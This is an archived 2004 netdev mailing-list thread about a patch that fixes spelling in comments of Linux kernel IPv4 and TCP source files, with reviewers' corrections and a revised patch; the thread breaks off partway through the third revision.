(v1.0.0; list netdev); Tue, 10 Feb 2004 10:27:47 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIRYKO020629 for ; Tue, 10 Feb 2004 10:27:35 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id F169D33CA5; Wed, 11 Feb 2004 03:28:31 +0900 (JST) Date: Wed, 11 Feb 2004 03:28:31 +0900 (JST) Message-Id: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH] IPV4: spelling correction From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3192 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev D: spelling correction for net/ipv4 ===== net/ipv4/ip_gre.c 1.34 vs edited ===== --- 1.34/net/ipv4/ip_gre.c Tue Oct 28 18:13:14 2003 +++ edited/net/ipv4/ip_gre.c Wed Feb 11 02:57:54 2004 @@ -316,8 +316,8 @@ GRE tunnels with enabled checksum. Tell them "thank you". Well, I wonder, rfc1812 was written by Cisco employee, - what the hell these idiots break standrads established - by themself??? + what the hell these idiots break standrards established + by themselves??? */ struct iphdr *iph = (struct iphdr*)skb->data; ===== net/ipv4/ip_output.c 1.49 vs edited ===== --- 1.49/net/ipv4/ip_output.c Wed Feb 4 03:24:11 2004 +++ edited/net/ipv4/ip_output.c Wed Feb 11 02:58:42 2004 @@ -35,7 +35,7 @@ * Andi Kleen : Replace ip_reply with ip_send_reply. * Andi Kleen : Split fast and slow ip_build_xmit path * for decreased register pressure on x86 - * and more readibility. + * and more readability. * Marc Boucher : When call_out_firewall returns FW_QUEUE, * silently drop skb instead of failing with -EPERM. * Detlev Wengorz : Copy protocol for fragments. ===== net/ipv4/proc.c 1.15 vs edited ===== --- 1.15/net/ipv4/proc.c Fri Sep 12 10:08:45 2003 +++ edited/net/ipv4/proc.c Wed Feb 11 02:59:47 2004 @@ -24,7 +24,7 @@ * Gerhard Koerting : Show both timers * Alan Cox : Allow inode to be NULL (kernel socket) * Andi Kleen : Add support for open_requests and - * split functions for more readibility. + * split functions for more readability. * Andi Kleen : Add support for /proc/net/netstat * Arnaldo C. Melo : Convert to seq_file * ===== net/ipv4/tcp_input.c 1.49 vs edited ===== --- 1.49/net/ipv4/tcp_input.c Mon Feb 2 04:22:45 2004 +++ edited/net/ipv4/tcp_input.c Wed Feb 11 03:10:02 2004 @@ -42,7 +42,7 @@ * Andi Kleen : Moved open_request checking here * and process RSTs for open_requests. * Andi Kleen : Better prune_queue, and other fixes. - * Andrey Savochkin: Fix RTT measurements in the presnce of + * Andrey Savochkin: Fix RTT measurements in the presence of * timestamps. * Andrey Savochkin: Check sequence numbers correctly when * removing SACKs due to in sequence incoming @@ -283,7 +283,7 @@ sk->sk_rcvbuf = min(4 * rcvmem, sysctl_tcp_rmem[2]); } -/* 4. Try to fixup all. It is made iimediately after connection enters +/* 4. Try to fixup all. It is made immediately after connection enters * established state. */ static void tcp_init_buffer_space(struct sock *sk) @@ -392,7 +392,7 @@ if (tp->ack.ato > tp->rto) tp->ack.ato = tp->rto; } else if (m > tp->rto) { - /* Too long gap. Apparently sender falled to + /* Too long gap. Apparently sender fellen to * restart window, so that we send ACKs quickly. */ tcp_incr_quickack(tp); @@ -431,7 +431,7 @@ * * Funny. This algorithm seems to be very broken. * These formulae increase RTO, when it should be decreased, increase - * too slowly, when it should be incresed fastly, decrease too fastly + * too slowly, when it should be increased fastly, decrease too fastly * etc. I guess in BSD RTO takes ONE value, so that it is absolutely * does not matter how to _calculate_ it. Seems, it was trap * that VJ failed to avoid. 8) @@ -493,14 +493,14 @@ * at least by solaris and freebsd. "Erratic ACKs" has _nothing_ * to do with delayed acks, because at cwnd>2 true delack timeout * is invisible. Actually, Linux-2.4 also generates erratic - * ACKs in some curcumstances. + * ACKs in some circumstances. */ tp->rto = (tp->srtt >> 3) + tp->rttvar; /* 2. Fixups made earlier cannot be right. * If we do not estimate RTO correctly without them, * all the algo is pure shit and should be replaced - * with correct one. It is exaclty, which we pretend to do. + * with correct one. It is exactly, which we pretend to do. */ } @@ -654,7 +654,7 @@ * to make it more realistic. * * A bit of theory. RTT is time passed after "normal" sized packet - * is sent until it is ACKed. In normal curcumstances sending small + * is sent until it is ACKed. In normal circumstances sending small * packets force peer to delay ACKs and calculation is correct too. * The algorithm is adaptive and, provided we follow specs, it * NEVER underestimate RTT. BUT! If peer tries to make some clever @@ -728,7 +728,7 @@ * L|R 1 - orig is lost, retransmit is in flight. * S|R 1 - orig reached receiver, retrans is still in flight. * (L|S|R is logically valid, it could occur when L|R is sacked, - * but it is equivalent to plain S and code short-curcuits it to S. + * but it is equivalent to plain S and code short-circuits it to S. * L|S is logically invalid, it would mean -1 packet in flight 8)) * * These 6 states form finite state machine, controlled by the following events: @@ -2194,7 +2194,7 @@ /* * @__westwood_fast_bw * It is called when we are in fast path. In particular it is called when - * header prediction is successfull. In such case infact update is + * header prediction is successfull. In such case in fact update is * straight forward and doesn't need any particular care. */ void __tcp_westwood_fast_bw(struct sock *sk, struct sk_buff *skb) @@ -3494,7 +3494,7 @@ * urgent. To do this requires some care. We cannot just ignore * tp->copied_seq since we would read the last urgent byte again * as data, nor can we alter copied_seq until this data arrives - * or we break the sematics of SIOCATMARK (and thus sockatmark()) + * or we break the semantics of SIOCATMARK (and thus sockatmark()) * * NOTE. Double Dutch. Rendering to plain English: author of comment * above did something sort of send("A", MSG_OOB); send("B", MSG_OOB); @@ -3638,7 +3638,7 @@ tp->saw_tstamp = 0; /* pred_flags is 0xS?10 << 16 + snd_wnd - * if header_predition is to be made + * if header_prediction is to be made * 'S' will always be tp->tcp_header_len >> 2 * '?' will be 0 for the fast path, otherwise pred_flags is 0 to * turn it off (when there are holes in the receive ===== net/ipv4/tcp_minisocks.c 1.43 vs edited ===== --- 1.43/net/ipv4/tcp_minisocks.c Tue Oct 28 20:10:47 2003 +++ edited/net/ipv4/tcp_minisocks.c Wed Feb 11 03:11:01 2004 @@ -216,7 +216,7 @@ /* In window segment, it may be only reset or bare ack. */ if (th->rst) { - /* This is TIME_WAIT assasination, in two flavors. + /* This is TIME_WAIT assassination, in two flavors. * Oh well... nobody has a sufficient solution to this * protocol bug yet. */ -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Tue Feb 10 10:32:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:32:36 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIWRKO022010 for ; Tue, 10 Feb 2004 10:32:27 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 4631133CA5; Wed, 11 Feb 2004 03:33:24 +0900 (JST) Date: Wed, 11 Feb 2004 03:33:24 +0900 (JST) Message-Id: <20040211.033324.120562092.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 3194 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040211.032831.67897970.yoshfuji@linux-ipv6.org> (at Wed, 11 Feb 2004 03:28:31 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > Well, I wonder, rfc1812 was written by Cisco employee, > - what the hell these idiots break standrads established > - by themself??? > + what the hell these idiots break standrards established > + by themselves??? Oops, this also includes a typo. Please use this instead. ===== net/ipv4/ip_gre.c 1.34 vs edited ===== --- 1.34/net/ipv4/ip_gre.c Tue Oct 28 18:13:14 2003 +++ edited/net/ipv4/ip_gre.c Wed Feb 11 03:30:06 2004 @@ -316,8 +316,8 @@ GRE tunnels with enabled checksum. Tell them "thank you". Well, I wonder, rfc1812 was written by Cisco employee, - what the hell these idiots break standrads established - by themself??? + what the hell these idiots break standards established + by themselves??? */ struct iphdr *iph = (struct iphdr*)skb->data; ===== net/ipv4/ip_output.c 1.49 vs edited ===== --- 1.49/net/ipv4/ip_output.c Wed Feb 4 03:24:11 2004 +++ edited/net/ipv4/ip_output.c Wed Feb 11 03:29:42 2004 @@ -35,7 +35,7 @@ * Andi Kleen : Replace ip_reply with ip_send_reply. * Andi Kleen : Split fast and slow ip_build_xmit path * for decreased register pressure on x86 - * and more readibility. + * and more readability. * Marc Boucher : When call_out_firewall returns FW_QUEUE, * silently drop skb instead of failing with -EPERM. * Detlev Wengorz : Copy protocol for fragments. ===== net/ipv4/proc.c 1.15 vs edited ===== --- 1.15/net/ipv4/proc.c Fri Sep 12 10:08:45 2003 +++ edited/net/ipv4/proc.c Wed Feb 11 03:29:42 2004 @@ -24,7 +24,7 @@ * Gerhard Koerting : Show both timers * Alan Cox : Allow inode to be NULL (kernel socket) * Andi Kleen : Add support for open_requests and - * split functions for more readibility. + * split functions for more readability. * Andi Kleen : Add support for /proc/net/netstat * Arnaldo C. Melo : Convert to seq_file * ===== net/ipv4/tcp_input.c 1.49 vs edited ===== --- 1.49/net/ipv4/tcp_input.c Mon Feb 2 04:22:45 2004 +++ edited/net/ipv4/tcp_input.c Wed Feb 11 03:29:42 2004 @@ -42,7 +42,7 @@ * Andi Kleen : Moved open_request checking here * and process RSTs for open_requests. * Andi Kleen : Better prune_queue, and other fixes. - * Andrey Savochkin: Fix RTT measurements in the presnce of + * Andrey Savochkin: Fix RTT measurements in the presence of * timestamps. * Andrey Savochkin: Check sequence numbers correctly when * removing SACKs due to in sequence incoming @@ -283,7 +283,7 @@ sk->sk_rcvbuf = min(4 * rcvmem, sysctl_tcp_rmem[2]); } -/* 4. Try to fixup all. It is made iimediately after connection enters +/* 4. Try to fixup all. It is made immediately after connection enters * established state. */ static void tcp_init_buffer_space(struct sock *sk) @@ -392,7 +392,7 @@ if (tp->ack.ato > tp->rto) tp->ack.ato = tp->rto; } else if (m > tp->rto) { - /* Too long gap. Apparently sender falled to + /* Too long gap. Apparently sender fellen to * restart window, so that we send ACKs quickly. */ tcp_incr_quickack(tp); @@ -431,7 +431,7 @@ * * Funny. This algorithm seems to be very broken. * These formulae increase RTO, when it should be decreased, increase - * too slowly, when it should be incresed fastly, decrease too fastly + * too slowly, when it should be increased fastly, decrease too fastly * etc. I guess in BSD RTO takes ONE value, so that it is absolutely * does not matter how to _calculate_ it. Seems, it was trap * that VJ failed to avoid. 8) @@ -493,14 +493,14 @@ * at least by solaris and freebsd. "Erratic ACKs" has _nothing_ * to do with delayed acks, because at cwnd>2 true delack timeout * is invisible. Actually, Linux-2.4 also generates erratic - * ACKs in some curcumstances. + * ACKs in some circumstances. */ tp->rto = (tp->srtt >> 3) + tp->rttvar; /* 2. Fixups made earlier cannot be right. * If we do not estimate RTO correctly without them, * all the algo is pure shit and should be replaced - * with correct one. It is exaclty, which we pretend to do. + * with correct one. It is exactly, which we pretend to do. */ } @@ -654,7 +654,7 @@ * to make it more realistic. * * A bit of theory. RTT is time passed after "normal" sized packet - * is sent until it is ACKed. In normal curcumstances sending small + * is sent until it is ACKed. In normal circumstances sending small * packets force peer to delay ACKs and calculation is correct too. * The algorithm is adaptive and, provided we follow specs, it * NEVER underestimate RTT. BUT! If peer tries to make some clever @@ -728,7 +728,7 @@ * L|R 1 - orig is lost, retransmit is in flight. * S|R 1 - orig reached receiver, retrans is still in flight. * (L|S|R is logically valid, it could occur when L|R is sacked, - * but it is equivalent to plain S and code short-curcuits it to S. + * but it is equivalent to plain S and code short-circuits it to S. * L|S is logically invalid, it would mean -1 packet in flight 8)) * * These 6 states form finite state machine, controlled by the following events: @@ -2194,7 +2194,7 @@ /* * @__westwood_fast_bw * It is called when we are in fast path. In particular it is called when - * header prediction is successfull. In such case infact update is + * header prediction is successfull. In such case in fact update is * straight forward and doesn't need any particular care. */ void __tcp_westwood_fast_bw(struct sock *sk, struct sk_buff *skb) @@ -3494,7 +3494,7 @@ * urgent. To do this requires some care. We cannot just ignore * tp->copied_seq since we would read the last urgent byte again * as data, nor can we alter copied_seq until this data arrives - * or we break the sematics of SIOCATMARK (and thus sockatmark()) + * or we break the semantics of SIOCATMARK (and thus sockatmark()) * * NOTE. Double Dutch. Rendering to plain English: author of comment * above did something sort of send("A", MSG_OOB); send("B", MSG_OOB); @@ -3638,7 +3638,7 @@ tp->saw_tstamp = 0; /* pred_flags is 0xS?10 << 16 + snd_wnd - * if header_predition is to be made + * if header_prediction is to be made * 'S' will always be tp->tcp_header_len >> 2 * '?' will be 0 for the fast path, otherwise pred_flags is 0 to * turn it off (when there are holes in the receive ===== net/ipv4/tcp_minisocks.c 1.43 vs edited ===== --- 1.43/net/ipv4/tcp_minisocks.c Tue Oct 28 20:10:47 2003 +++ edited/net/ipv4/tcp_minisocks.c Wed Feb 11 03:29:42 2004 @@ -216,7 +216,7 @@ /* In window segment, it may be only reset or bare ack. */ if (th->rst) { - /* This is TIME_WAIT assasination, in two flavors. + /* This is TIME_WAIT assassination, in two flavors. * Oh well... nobody has a sufficient solution to this * protocol bug yet. */ -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From chrisw@osdl.org Tue Feb 10 10:35:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:35:17 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIZ8KO022620 for ; Tue, 10 Feb 2004 10:35:09 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i1AIYtS07055; Tue, 10 Feb 2004 10:34:55 -0800 Date: Tue, 10 Feb 2004 10:34:55 -0800 From: Chris Wright To: "YOSHIFUJI Hideaki / ?$B5HF#1QL@?(B" Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction Message-ID: <20040210103455.B17871@osdlab.pdx.osdl.net> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20040211.032831.67897970.yoshfuji@linux-ipv6.org>; from yoshfuji@linux-ipv6.org on Wed, Feb 11, 2004 at 03:28:31AM +0900 X-archive-position: 3195 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev * YOSHIFUJI Hideaki / ?$B5HF#1QL@?(B (yoshfuji@linux-ipv6.org) wrote: > --- 1.34/net/ipv4/ip_gre.c Tue Oct 28 18:13:14 2003 > +++ edited/net/ipv4/ip_gre.c Wed Feb 11 02:57:54 2004 > @@ -316,8 +316,8 @@ > GRE tunnels with enabled checksum. Tell them "thank you". > > Well, I wonder, rfc1812 was written by Cisco employee, > - what the hell these idiots break standrads established > - by themself??? > + what the hell these idiots break standrards established ^^^^^^^^^^ > + by themselves??? Heh, looks like swapping one typo for another. standards? > @@ -392,7 +392,7 @@ > if (tp->ack.ato > tp->rto) > tp->ack.ato = tp->rto; > } else if (m > tp->rto) { > - /* Too long gap. Apparently sender falled to > + /* Too long gap. Apparently sender fellen to ^^^^^^ failed? > * restart window, so that we send ACKs quickly. thanks, -chris -- Linux Security Modules http://lsm.immunix.org http://lsm.bkbits.net From rddunlap@osdl.org Tue Feb 10 10:37:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:37:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIbWKO023174 for ; Tue, 10 Feb 2004 10:37:32 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1AIbJE07390; Tue, 10 Feb 2004 10:37:19 -0800 Date: Tue, 10 Feb 2004 10:30:50 -0800 From: "Randy.Dunlap" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: davem@redhat.com, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction Message-Id: <20040210103050.63643c9a.rddunlap@osdl.org> In-Reply-To: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3196 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 03:28:31 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: a few comments (beginning with "**"). | D: spelling correction for net/ipv4 | | ===== net/ipv4/tcp_input.c 1.49 vs edited ===== | --- 1.49/net/ipv4/tcp_input.c Mon Feb 2 04:22:45 2004 | +++ edited/net/ipv4/tcp_input.c Wed Feb 11 03:10:02 2004 | @@ -392,7 +392,7 @@ | if (tp->ack.ato > tp->rto) | tp->ack.ato = tp->rto; | } else if (m > tp->rto) { | - /* Too long gap. Apparently sender falled to | + /* Too long gap. Apparently sender fellen to ** failed | * restart window, so that we send ACKs quickly. | */ | tcp_incr_quickack(tp); | @@ -431,7 +431,7 @@ | * | * Funny. This algorithm seems to be very broken. | * These formulae increase RTO, when it should be decreased, increase | - * too slowly, when it should be incresed fastly, decrease too fastly | + * too slowly, when it should be increased fastly, decrease too fastly ** s/fastly/quickly/ or s/fastly/fast/ | * etc. I guess in BSD RTO takes ONE value, so that it is absolutely | * does not matter how to _calculate_ it. Seems, it was trap | * that VJ failed to avoid. 8) | @@ -493,14 +493,14 @@ | tp->rto = (tp->srtt >> 3) + tp->rttvar; | | /* 2. Fixups made earlier cannot be right. | * If we do not estimate RTO correctly without them, | * all the algo is pure shit and should be replaced | - * with correct one. It is exaclty, which we pretend to do. | + * with correct one. It is exactly, which we pretend to do. ** ^ what (delete comma) | */ | } | | -- | Hideaki YOSHIFUJI @ USAGI Project | GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA -- ~Randy From niv@us.ibm.com Tue Feb 10 10:47:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:47:37 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIlTKO024485 for ; Tue, 10 Feb 2004 10:47:29 -0800 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1AIlDwX625650; Tue, 10 Feb 2004 13:47:13 -0500 Received: from us.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay05.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1AIlCAx069622; Tue, 10 Feb 2004 11:47:12 -0700 Message-ID: <402926A0.20809@us.ibm.com> Date: Tue, 10 Feb 2004 10:44:48 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: =?ISO-2022-JP?B?WU9TSElGVUpJIEhpZGVha2kgLyAbJEI1SEYjMVFMQBsoQg==?= CC: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> <20040211.033324.120562092.yoshfuji@linux-ipv6.org> In-Reply-To: <20040211.033324.120562092.yoshfuji@linux-ipv6.org> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-archive-position: 3197 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: >> Well, I wonder, rfc1812 was written by Cisco employee, >>- what the hell these idiots break standrads established >>- by themself??? >>+ what the hell these idiots break standrards established >>+ by themselves??? > > > Oops, this also includes a typo. Please use this instead. I strongly object. Strongly and strenuously. DaveM, please, please, please, leave those golden lines alone. The original from Alexey is a work of art, humor, character and intelligence. Removing those lines would reduce Linux to tasteless, bland potatohood that so characterizes every other operating system out there (OK, with the possible exception of Dynix/ptx, but it's dead, Jim). Assimilate all the rest of the kernel into the grammatically correct and humorless Borg, if you will, but please, please, leave these lines alone... thanks, Nivedita From yoshfuji@linux-ipv6.org Tue Feb 10 10:47:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:47:44 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIlYKO024501 for ; Tue, 10 Feb 2004 10:47:34 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 49BEE33CA5; Wed, 11 Feb 2004 03:48:31 +0900 (JST) Date: Wed, 11 Feb 2004 03:48:31 +0900 (JST) Message-Id: <20040211.034831.19946228.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction (Take 3) From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040211.033324.120562092.yoshfuji@linux-ipv6.org> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> <20040211.033324.120562092.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 3198 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040211.033324.120562092.yoshfuji@linux-ipv6.org> (at Wed, 11 Feb 2004 03:33:24 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > In article <20040211.032831.67897970.yoshfuji@linux-ipv6.org> (at Wed, 11 Feb 2004 03:28:31 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > > > Well, I wonder, rfc1812 was written by Cisco employee, > > - what the hell these idiots break standrads established > > - by themself??? > > + what the hell these idiots break standrards established > > + by themselves??? > > Oops, this also includes a typo. Please use this instead. Thank you, Joe, Chris and Randy! Here's the updated patch. (Take 3) ===== net/ipv4/ip_gre.c 1.34 vs edited ===== --- 1.34/net/ipv4/ip_gre.c Tue Oct 28 18:13:14 2003 +++ edited/net/ipv4/ip_gre.c Wed Feb 11 03:39:50 2004 @@ -94,7 +94,7 @@ that is ALL. :-) Well, it does not remove the problem completely, but exponential growth of network traffic is changed to linear (branches, that exceed pmtu are pruned) and tunnel mtu - fastly degrades to value <68, where looping stops. + quickly degrades to value <68, where looping stops. Yes, it is not good if there exists a router in the loop, which does not force DF, even when encapsulating packets have DF set. But it is not our problem! Nobody could accuse us, we made @@ -316,8 +316,8 @@ GRE tunnels with enabled checksum. Tell them "thank you". Well, I wonder, rfc1812 was written by Cisco employee, - what the hell these idiots break standrads established - by themself??? + what the hell these idiots break standards established + by themselves??? */ struct iphdr *iph = (struct iphdr*)skb->data; ===== net/ipv4/ip_output.c 1.49 vs edited ===== --- 1.49/net/ipv4/ip_output.c Wed Feb 4 03:24:11 2004 +++ edited/net/ipv4/ip_output.c Wed Feb 11 03:39:16 2004 @@ -35,7 +35,7 @@ * Andi Kleen : Replace ip_reply with ip_send_reply. * Andi Kleen : Split fast and slow ip_build_xmit path * for decreased register pressure on x86 - * and more readibility. + * and more readability. * Marc Boucher : When call_out_firewall returns FW_QUEUE, * silently drop skb instead of failing with -EPERM. * Detlev Wengorz : Copy protocol for fragments. ===== net/ipv4/proc.c 1.15 vs edited ===== --- 1.15/net/ipv4/proc.c Fri Sep 12 10:08:45 2003 +++ edited/net/ipv4/proc.c Wed Feb 11 03:39:16 2004 @@ -24,7 +24,7 @@ * Gerhard Koerting : Show both timers * Alan Cox : Allow inode to be NULL (kernel socket) * Andi Kleen : Add support for open_requests and - * split functions for more readibility. + * split functions for more readability. * Andi Kleen : Add support for /proc/net/netstat * Arnaldo C. Melo : Convert to seq_file * ===== net/ipv4/tcp_input.c 1.49 vs edited ===== --- 1.49/net/ipv4/tcp_input.c Mon Feb 2 04:22:45 2004 +++ edited/net/ipv4/tcp_input.c Wed Feb 11 03:41:25 2004 @@ -42,7 +42,7 @@ * Andi Kleen : Moved open_request checking here * and process RSTs for open_requests. * Andi Kleen : Better prune_queue, and other fixes. - * Andrey Savochkin: Fix RTT measurements in the presnce of + * Andrey Savochkin: Fix RTT measurements in the presence of * timestamps. * Andrey Savochkin: Check sequence numbers correctly when * removing SACKs due to in sequence incoming @@ -283,7 +283,7 @@ sk->sk_rcvbuf = min(4 * rcvmem, sysctl_tcp_rmem[2]); } -/* 4. Try to fixup all. It is made iimediately after connection enters +/* 4. Try to fixup all. It is made immediately after connection enters * established state. */ static void tcp_init_buffer_space(struct sock *sk) @@ -392,7 +392,7 @@ if (tp->ack.ato > tp->rto) tp->ack.ato = tp->rto; } else if (m > tp->rto) { - /* Too long gap. Apparently sender falled to + /* Too long gap. Apparently sender failed to * restart window, so that we send ACKs quickly. */ tcp_incr_quickack(tp); @@ -431,7 +431,7 @@ * * Funny. This algorithm seems to be very broken. * These formulae increase RTO, when it should be decreased, increase - * too slowly, when it should be incresed fastly, decrease too fastly + * too slowly, when it should be increased quickly, decrease too quickly * etc. I guess in BSD RTO takes ONE value, so that it is absolutely * does not matter how to _calculate_ it. Seems, it was trap * that VJ failed to avoid. 8) @@ -493,14 +493,14 @@ * at least by solaris and freebsd. "Erratic ACKs" has _nothing_ * to do with delayed acks, because at cwnd>2 true delack timeout * is invisible. Actually, Linux-2.4 also generates erratic - * ACKs in some curcumstances. + * ACKs in some circumstances. */ tp->rto = (tp->srtt >> 3) + tp->rttvar; /* 2. Fixups made earlier cannot be right. * If we do not estimate RTO correctly without them, * all the algo is pure shit and should be replaced - * with correct one. It is exaclty, which we pretend to do. + * with correct one. It is exactly what we pretend to do. */ } @@ -654,7 +654,7 @@ * to make it more realistic. * * A bit of theory. RTT is time passed after "normal" sized packet - * is sent until it is ACKed. In normal curcumstances sending small + * is sent until it is ACKed. In normal circumstances sending small * packets force peer to delay ACKs and calculation is correct too. * The 